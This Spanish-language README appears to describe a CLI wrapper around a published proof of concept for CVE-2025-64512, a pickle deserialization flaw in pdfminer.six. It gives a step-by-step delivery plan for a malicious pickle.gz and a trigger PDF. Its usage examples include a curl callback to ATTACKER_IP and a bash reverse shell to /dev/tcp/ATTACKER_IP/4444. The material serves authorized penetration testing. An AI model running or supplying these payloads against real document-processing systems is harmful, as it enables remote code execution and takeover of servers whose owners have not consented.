
Wrapper de CLI para el PoC de CVE-2025-64512 que genera payloads maliciosos en PDF y pickle.gz para explotar la deserialización insegura en pdfminer.six, permitiendo la ejecución remota de código mediante el procesamiento de PDFs manipulados.
⚠️ Aviso legal: Esta herramienta está destinada únicamente a fines educativos y pruebas de penetración autorizadas. Úsala solo contra sistemas que poseas o para los que tengas permiso escrito explícito para realizar pruebas. El uso no autorizado es ilegal.
pdfminer.six es una biblioteca de Python ampliamente utilizada para extraer texto y metadatos de archivos PDF, habitualmente integrada en canalizaciones de procesamiento de documentos, herramientas CLI y flujos de ingesta de IA/datos. Las versiones afectadas cargan archivos de caché CMap (mapa de caracteres) para la compatibilidad con fuentes CJK mediante el módulo pickle de Python, sin validar que la ruta resuelta permanezca dentro del directorio de caché esperado.
Un PDF especialmente manipulado puede hacer referencia a una ruta controlada por el atacante para esta búsqueda de CMap. Si el atacante también puede colocar un archivo .pickle.gz malicioso en esa ruta resuelta (por ejemplo, mediante una función de carga de archivos en la misma ubicación), el procesamiento del PDF desencadena pickle.loads() sobre datos controlados por el atacante, lo que resulta en ejecución arbitraria de código. Este mecanismo exacto, incluida la estructura del PDF del PoC, fue documentado por mtolley en el aviso oficial.
Este repositorio contiene un pequeño envoltorio CLI alrededor de la prueba de concepto oficial publicada en el GitHub Security Advisory para CVE-2025-64512. No introduce ninguna técnica de explotación nueva: la plantilla de PDF malicioso está tomada casi literalmente del propio aviso; este script solo parametriza la ruta de destino, el comando a ejecutar y los nombres de archivo de salida para que el PoC sea más fácil de reutilizar.
| Campo | Valor |
|---|---|
| CVE | CVE-2025-64512 |
| Afectados | pdfminer.six ≤ 20250506 (también markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Tipo | Deserialización insegura (CWE-502) |
| Privilegios | Ninguno (sin autenticación, si el procesamiento de PDF está expuesto) |
| Impacto | Ejecución arbitraria de código |
| Parche | pdfminer.six 20251107+ |
CMapDB._load_data() en pdfminer.six resuelve un nombre CMap —tomado de la entrada /Encoding de una fuente PDF— a una ruta de archivo, y lo carga con pickle.loads() si termina en .pickle.gz. La función no valida que la ruta resuelta permanezca dentro del directorio cmap/ propio de pdfminer.
/Encoding haga referencia a una ruta elegida por el atacante (codificada en URL, / como #2F)..pickle.gz malicioso presente en <esa ruta>.pickle.gz en el sistema de archivos de destino en el momento en que se procesa el PDF.Normalmente, ambos archivos pueden entregarse a través del mismo canal de carga que finalmente procesa pdfminer.six (por ejemplo, una canalización de ingesta de documentos), siempre que las rutas resultantes en disco sean predecibles o descubribles.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip, pickle, argparse)No se necesitan dependencias de terceros para generar el payload. El objetivo debe tener un pdfminer.six vulnerable (o un proyecto que dependa de él) que realmente procese el PDF subido.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Esto produce:
payload.pickle.gz — súbelo primero, a .../uploads/payload.pickle.gztrigger.pdf — súbelo en segundo lugar; una vez que el objetivo lo procese con pdfminer.six, el comando se ejecutapython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz